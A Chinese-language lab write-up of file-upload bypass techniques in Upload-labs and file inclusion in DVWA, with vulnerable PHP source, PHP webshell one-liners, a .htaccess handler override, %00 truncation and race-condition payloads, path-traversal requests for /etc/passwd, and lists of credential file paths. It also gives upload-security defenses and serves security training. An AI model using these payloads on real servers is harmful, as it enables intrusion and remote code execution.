$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
访问上传成功的文件:
点绕过(√)
Upload-labs(Pass-08)分析代码没有去除点,直接在文件后面加上点
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
上传成功
在Windows系统中会自动去除文件名最后的 . 点 ,因此在Windows系统中可以使用此方法绕过。
空格绕过
Upload-labs(Pass-07)通过代码分析没有去空格,在文件后缀加空格后上传
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
burp suite
Content-Disposition: form-data; name="upload_file"; filename="post.php "
抓包加空格上传成功
在Windows系统中会自动去除文件名最后的空格,因此在Windows系统中可以使用此方法绕过。
::$DATA绕过
在Windows中,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。使用它的目的就是不检查后缀名,例如:
phpinfo.php::$DATA
Windows会自动去掉末尾的::$DATA变成 phpinfo.php
Upload-labs(Pass-09)抓包修改文件后缀
可以看到,上传成功。但是Linux服务器未去掉后缀,所以解析不了。
配合解析绕过
Upload-labs(Pass-10)
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
这一关的思路是它没有循环验证,也就是说这些首尾去空,删除末尾的点,去除字符串:$SDATA,转换为小写这些东西只是验证了一次,所以绕过思路也很简单:在数据包中把后缀名改为 .php. .
(两个点之间有个空格)
验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还有一个点,也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功。
.htaccess文件绕过(√)
在利用.htaccess文件之前,我们先来了解一下什么是.htaccess规则文件。
.htaccess文件(或者"分布式配置文件")全称是Hypertext Access(超文本入口)。
提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可 以帮我们实现: 网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列 表、配置默认文档等功能。上传.htaccess文件,来绕过黑名单。 前提条件 1.mod_rewrite模块开启。 2.AllowOverride All
Upload-labs(Pass-04)源码分析,这个比03增加了黑名单量。但是,中间件为Apache的情况下,黑名单未校验htaccess文件,导致可上传htaccess文件,绕过黑名单检测。
由于.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个 .htaccess,文件内容如下,意思
是设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规
范,就会被当作PHP执行,不符合则报错。
我们需要先准备好两个文件( .htaccess 和 xxx.jpg)
.htaccess文件
<FilesMatch "xxx.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
或
<IfModule mime_module> SetHandler application/x-httpd-php </IfModule>
xxx.jpg
//xxx.jpg <?php eval(@$_POST["xxx"]); ?>
注意: .htaccess文件不能起名字,就是.htaccess文件,如果将其改为4.htaccess或者其他的什么名字是不可以的,无法解析。在实战中有可能上传上去这个文件会被自动重命名,被重命名了就不可以了。
接下来就是先将 .htaccess 文件上传,从而覆盖父目录对上传目录的影响,然后再上传 xxx.jpg 文
件,从而完成 .htaccess 文件上传解析漏洞的利用。
用蚁剑成功连接
双写后缀名绕过(√)
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); // 去掉字符 $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
Upload-labs(Pass-11)从源码中可以发现,源码中定义了黑名单列表,我们上传文件的后缀名凡是符合黑名单中任意一个后缀都会被替换为空,那么我们可以利用双写后缀的方式进行绕过。例如:
phpinfo.pphphp 替换后变成 phpinfo.php
访问文件,可以成功解析
小结
不知道服务端用的什么逻辑,只能一个个去试,8种方法练熟,实际操作时很快的。
服务端白名单绕过
MIME类型检测绕过(√)
Upload-labs(Pass-02)第二关通过服务端对数据包的MIME进行检查
通过burp修改Content-Type类型,如 Content-Type: image/jpeg
上传成功
%00截断绕过(√)
%00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0(%00或者00)字符的方式,达到字符串截断的目的。
\0 是ASCII码表中第0个字符,即ASCII码为0的字符,英文称为NUL,中文称为"空字符"
需要注意的是:\0是用户的输入经过层层解析后在系统底层的表现形式,因此用户在前端输入的时候是不能直接使用 \0 的,通常会使用 %00 或者 0x00
- %00:在URL中%00表示ASCll码中的0,而0作为特殊字符保留,表示字符结束。当URL中出现%00时就认为读取已结束,而忽略后面上传的文件或者图片,只上传截断前的文件。
- 0x00:操作系统按照十六进制读取文件内容,遇到ASCII码为0的字符就会停止。而ASCII码为0的字符在十六进制中就是 00,用 0x 开头表示 16 进制,也就形成了 0x00 截断。
- 0x00 是 %00 解码成的十六进制形式,无需关注具体转换过程。
%00举例:
http://www.XXX.com/upload/aaa.php%00bbb.jpg
由于%00有截断功能,服务器在接收的时候,就直接对URL编码(即%00)进行解码,然后再去接收文件,这时候后面的bbb.jpg被截断掉,文件名就变成了aaa.php,所以最后服务器接收到的文件名是aaa.php。
截断原理:
利用%00是字符串结束标识符的机制,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过前端的检测。
%00截断通常用来绕过Web的白名单限制。Upload-labs(Pass-12)看代码可以得知是一个白名单,只允许上传'jpg','png','gif'格式的文件,但是上传路径是可以控制的,可以使用%00进行截断。
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
我们可以看到 %00 截断是放到 GET 方法中,可以直接在浏览器url上自动解码
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
如果是 POST 访问,就需要提交抓包时解码一下 %00
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
这里 docker 搭的靶场不适用,我们使用 windows 版的 PhpStudy2018 。网上下载个 upload-labs
在Windows系统中搭建环境,选择php版本为5.2,打开php.ini 文件,找到其它选项菜单,设置magic_quotes_gpc = OFF
为什么不是最新版本的 phpstudy ?因为最新版本 phpstudy 无法安装php5.2.17
我这里使用了docker方式
# upload-labs 修改权限 chmod -R 777 code/upload-labs #https://github.com/liugan0954/docker-php5.2.17/ docker run -d --privileged --name php-5.2.17 -p 8085:8080 -v ./code:/data/web/example.com fifilyu/docker-php-5.2.17-fpm:latest #把upload-labs放到code目录就行 #00截断在Pass-11中
之后进行文件上传,burp suite 抓包:
- 修改PHP文件后缀为png
- save_path 后增加文件名 a.php%00
POST /upload-labs/Pass-11/index.php?save_path=../upload/a.php%00 HTTP/1.1 ... 略 -----------------------------227334169839912571603417622282 Content-Disposition: form-data; name="upload_file"; filename="test.png" Content-Type: image/png <?php eval(@$_POST['a']);?> ... 略
这里%00截断,要上传的文件不要了,而是用我们拼接好的路径。
#上传完得到路径: http://124.222.171.19:8085/upload-labs/upload/a.php%EF%BF%BD/8520230711010618.png #我们只需要访问a.php就行,火狐浏览器hackbar访问验证
使用蚁剑连接成功
注意:
%00的使用是在路径上!
%00的使用是在路径上!
%00的使用是在路径上!
重要的话说三遍。如果在文件名上使用,就无法正常截断了。
%00只能用在路径上,这个路径可能在post数据包中,也可能在URL中,所以在这些地方使用%00进行截断处理,这样服务器在对文件名进行检测之后,就会把路径跟文件名拼接在一起,这时候%00就开始
发挥作用了。
服务端内容检查绕过
文件头检查(√)
Upload-labs(Pass-14)
注意:下面的文件头的格式是16进制的格式
.jpg FF D8 FF E0 00 10 4A 46 49 46 .gif 47 49 46 38 39 61,字符串: GIF89(7)a .png 89 50 4E 47 压缩包文件:50 4B 03 04 BMP: 42 4D,字符串: BM
16进制工具:
- Mac版 hexfiend 下载地址:https://github.com/HexFiend/HexFiend/releases
- Windows下可使用 010 editor。
- 命令行查看 hexdump -C ctfhub.png
随便打开两张PNG的图片看下,在文件的头部都会有其专有的字符。标注出来的就是png图片的文件头,题目检查的也就是这个,可以在 burp 里直接加,也可以通过图片马直接上传然后getshell。
白名单进行的文件头检测,符合,则允许上传,否则不允许上传。
检查图标内容开头2个字节,使用图片马进行上传获取webshell,最后使用文件包含漏洞进行利用
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
这里直接给出了文件包含漏洞的环境,所以我们上传一张图片马即可
制作图片马
下面介绍几种制作图片马的方法:
- windows 系统文件拼接:cmd 使用命令
copy /b a.png + a.php hecheng.png
- 使用 010 editor
- 直接在图片的尾部写一句话木马
- 取一个真实的脚本文件,在文件头部添加图片的文件头,如 png 89 50 4E 47(严格意义上说,不算图片马)
- 直接在图片的尾部写一句话木马
- 使用 burp suite 抓包,在尾部添加一句话木马
文件内容绕过
新建一个png图片用 Hex Fiend 打开,在最后加上一句话木马
或在php木马之前添加 89504E47 ,无需修改php文件后缀名直接上传试试:
这里我们在文件后加入一句话木马
<?php eval(@$_POST['a']);?>
上传成功,可获取图片连接
http://127.0.0.1:8081/upload/8820230711210638.png
访问 http://127.0.0.1:8081/include.php?file=
配合 本地文件包含漏洞
# 127.0.0.1:8081/include.php? <?php /* 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! */ header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ include $file; }else{ show_source(__file__); } ?>
接着用file包含图片马
http://127.0.0.1:8081/include.php?file=upload/8820230711210638.png
也可以直接执行代码
蚁剑链接,完成webshell
突破getimagesize及exif_imagetype(√)
Upload-labs(Pass-15)代码是用 getimagesize
获取文件类型,进行文件判断。此函数是获取文件类型是不是图片格式的,比如图片的长度和高度等。这个时候就不能再上传假图片了,需要上传一张真图然后抓包,在最后添加一句话木马。
function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
Upload-labs(Pass-16) exif_imagetype
读取一个图像的第一个字节并检查其签名(文件签名即文件属性信息: 高等),所以也是可以通过在图片末尾添加一句话木马来进行绕过的,与(Pass-15)解法相同。
function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
二次渲染绕过(√)
二次渲染 :就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。
Upload-labs(Pass-17)这一关比较综合,判断了后缀名、content-type,以及利用imagecreatefromXXX判断是否为真实图片,最后再做了一次二次渲染。可以看到,这里先是判断Content-Type,然后再用 imagecreatefrom[gif|png|jpg]
函数判断是否是图片格式,如果是图片的话再用 image[gif|png|jpg]
函数对其进行二次渲染。我们可以上传一个正常的图片文件,观察其上传前和上传后图片的二进制流是否发生变化。
- GIF:渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可
- PNG:没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块
- JPG:需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试
这里我们使用gif图片。
将源文件和二次渲染过的文件进行比较,找出源文件中没有被修改的那段区域,在那段区域写入php代码即可。
先将一句话添加到 happy.gif 的尾部,然后上传
上传成功
然后将图片下载下来,可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片。用 hexfiend 打开,发现刚才写入的一句话木马已经被去除
用 hex fiend 打开 上传前 和 上传后 的图片,选择compare 进行对比:
经过对比可以发现,蓝色的区域都是没有改变的
我们将一句话木马写到该位置,只要写完 gif 格式没被破坏就行。
这里我们在文件中加入一句话木马
<?php eval(@$_POST['a']);?>
为了防止被覆盖,先将插入木马位置后的所有内容剪贴出去,插入木马后再粘贴回来
重新上传后再下载到本地使用16进制编辑器打开,可以看到php代码没有被去除,成功上传图片马
二次渲染后,包含一句话木马的图片
使用文件包含成功
http://124.222.171.19:8084/include.php?file=upload/1209577858.gif
蚁剑链接,成功getshell
文件包含绕过
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
绕过方式:(这里拿php为例,此漏洞主要存在于PHP中)
(1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
(2)然后再上传一个.php的文件,内容为
<?php Include(“上传的txt文件路径”);?>1
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
#PHP <?php Include("上传的txt文件路径");?> #ASP <!--#include file="上传的txt文件路径" --> #JSP <jsp:inclde page="上传的txt文件路径"/> or <%@include file="上传的txt文件路径"%>
代码逻辑(条件竞争)
条件竞争上传是一种服务器端的漏洞,由于后端程序操作逻辑不合理导致。 由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生,此漏洞一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
Upload-labs(Pass-18),从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
这么看来如果我们上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
上传上去就被删除了,我还怎么去访问呢?
要知道代码执行的过程是需要耗费时间的,如果我们能在上传的一句话被删除之前访问就能成功执行,这个也叫做条件竞争上传绕过。
我们可以利用 burp
多线程发包,然后不断在浏览器访问我们的Webshell,会有一瞬间的访问成功。
为了更好的演示效果,把一句话木马换一下改为:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["xxx"])?>');?>
把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个shell.php的一句话木马。在正常的渗透测试中这也是个好办法,因为单纯的去访问带有phpinfo()的文件并没有什么卵用。
上传的文件一旦删除了还是无法利用,但是这个办法生成的shell.php服务器是不会删除的,我们就可以通过蚁剑去链接了。
第一步:上传cs.php,并用burp抓包,发送到Intruder模块
不需要暴力破解,只是想用来发包,所以clear所有变量。然后再加入一个空格变量,让这个数据包能正常进行爆破,其实是空。
第二步:设置无限重放,一直上传该文件
可以看到这里的配置Payload type是Null payloads。也就是不设置payload。
下方的Continue indefinitely也就是无限重放的意思。
可以看到上传该文件的数据包不停地在进行重放。
第三步:运行python脚本不停地访问cs.php直到成功访问到为止。
代码如下:
import requests url = "http://127.0.0.1:8036/upload/cs.php" while True: html = requests.get(url) if html.status_code == 200: print("OK") break
当出现OK说明访问到了该文件,那么shell.php应该也创建成功了
查看目录下已经有shell.php,直接用蚁剑连接
访问 post_shell.php.xxx.edu 可以执行PHP代码
总结
文件上传漏洞安全防御
1、文件上传的目录设置为不可执行
只要Web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。
比如 Nginx可 按如下方式配置
location ~* ^/uploads/.*\.(php|php5)$ { deny all; }
2、判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、使用安全设备防御
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。
文件包含漏洞
主要内容:
- 文件包含漏洞概述
- 中间件日志包含绕过
- PHP 包含读写文件
- str._replace 函数绕过
- 包含截断绕过、fnmatch 函数绕过
- 文件包含漏洞防范措施
概述
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
分类
本地文件包含
只能包含本地服务器上存在的文件。
- 用户对输入可控且无过滤
- 可以利用相对路径或绝对路径读取系统敏感文件
远程文件包含
包含远程服务器上的文件。
需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如:攻击者搭建的一台Web服务器)的文件。
- allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据
- allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件
远程与本地包含的区别
参照对象是本地服务器。
本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行。
远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本并对外开放一个web服务,以确保该脚本能被访问到。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。
本地文件包含与远程文件包含有着相同的原理,但前者只能包含本地服务器上存在的文件,而后者可以包含远程服务器上的文件。
PHP中文件包含函数有以下四种
require() include() require_once() include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数 只包含一次 。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重定
义,变量重新赋值等问题。
URL中如果出现了如下内容就可能存在文件包含漏洞
?page= ?file= ?home=
如:
dvwa File Inclusion 页面
http://124.222.171.19:8080/vulnerabilities/fi/?page=include.php http://124.222.171.19:8080/vulnerabilities/fi/?page=/etc/passwd
常见的敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件 c:\windows\repair\sam //存储windows系统初次安装的密码 c:\programFiles\mysql\my.ini //MYSQL root密码 c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件
如何发现文件包含漏洞
- 观察URL链接是否包括以下类似的关键字:
page/include/path/file/link/url
等,如果有,则可能存在文件包含漏洞; - 可以观察在URL中,出现的赋值参数等号后跟的信息,是否为一个文件,如果是,则可能存在文件包含漏洞;
- 在关键字处或明显被文件赋值的参数处,尝试进行赋值,如:https://www.baidu.com ;或系统常见文件,如:/etc/passwd(Linux)
- 配合文件上传漏洞进行验证
- 扫描器扫
DVWA演示
Low
不同难度下的界面都是相同的,可以注意到有file1.php,file2.php,file3.php三个文件。
任意点击其中一个文件如file1.php,地址栏的page=include.php就会相应变为page=file1.php,即利用GET的方法来获取服务器中的php文件。
源码分析得出:直接通过get去传递page参数进行文件包含,没有任何过滤。
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>
绝对路径和相对路径
- 绝对路径和相对路径异同点? 两者的相同之处,在于两者都是对图像,音乐,网址,视频等文件资源的引用方法。 两者的不同之处,在于描述目录路径时,所采用的参考基准点不同。
- 绝对路径:直接指明文件在硬盘上真正存在具体位置或者是以Web站点根目录为参考的完整路径。绝对路径是 规定死的目录,直观清晰,但被网页引用的文件不能随意挪动。当多个网页引用同一个文件时,所使用的路径 都是相同的.
- 相对路径:舍去磁盘盘符、计算机名等信息,以引用文件的网页所在文件夹位置为参考,建立出的基准根目 录。当保存于不同目录的网页引用同一个文件时,所使用的相对路径不同。
- 绝对路径:直接指明文件在硬盘上真正存在具体位置或者是以Web站点根目录为参考的完整路径。绝对路径是 规定死的目录,直观清晰,但被网页引用的文件不能随意挪动。当多个网页引用同一个文件时,所使用的路径 都是相同的.
- 在什么情况下使用绝对路径?
通常情况下,只在自己的计算机上对网页进行编辑操作,不拷贝到别的电脑或者服务器,这时可以使用绝对路径。
- 在什么情况下使用相对路径?
在大多情况下,进行网页编程时,强烈推荐使用相对路径。如果使用绝对路径来指定文件的位置,在自己的计 算机上浏览可能是正常显示,但如果上传到Web服务器上浏览,很有可能因为路径不对,导致图片等文件不能 正常显示。而使用相对路径,可以减少因网页和程序文件存储路径变化,造成的网页不正常显示、程序不正常 运行现象。使用某些网页设计软件引用文件时,会自动使用相对路径,极大的便利了网站管理。
尝试获取服务器上的文件内容,输入 ../../../../../../ (多少个../都行,越多越好)etc/passwd
../
返回上级目录,当返回到根目录时候再../还是根目录,然后直接访问Linux系统的passwd文件
也可以尝试包含php.ini,可以看到,现在的页面是在 vulnerabilities/fi/file1.php,如果想要访问
php.ini需要回退两次,可以输入 ../../php.ini
成功包含到php配置文件
Medium
查看源码:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>
分析:
Medium级别的代码增加了str_replace函数,对page参数进行了一定的过滤,将”http:// ”、”https://”、
” ../”、”..\“”替换为空字符。
但str_replace函数并不是很安全,双写就可以绕过了。
http://127.0.0.1/vulnerabilities/fi/?page=..././..././..././..././..././etc/passwd
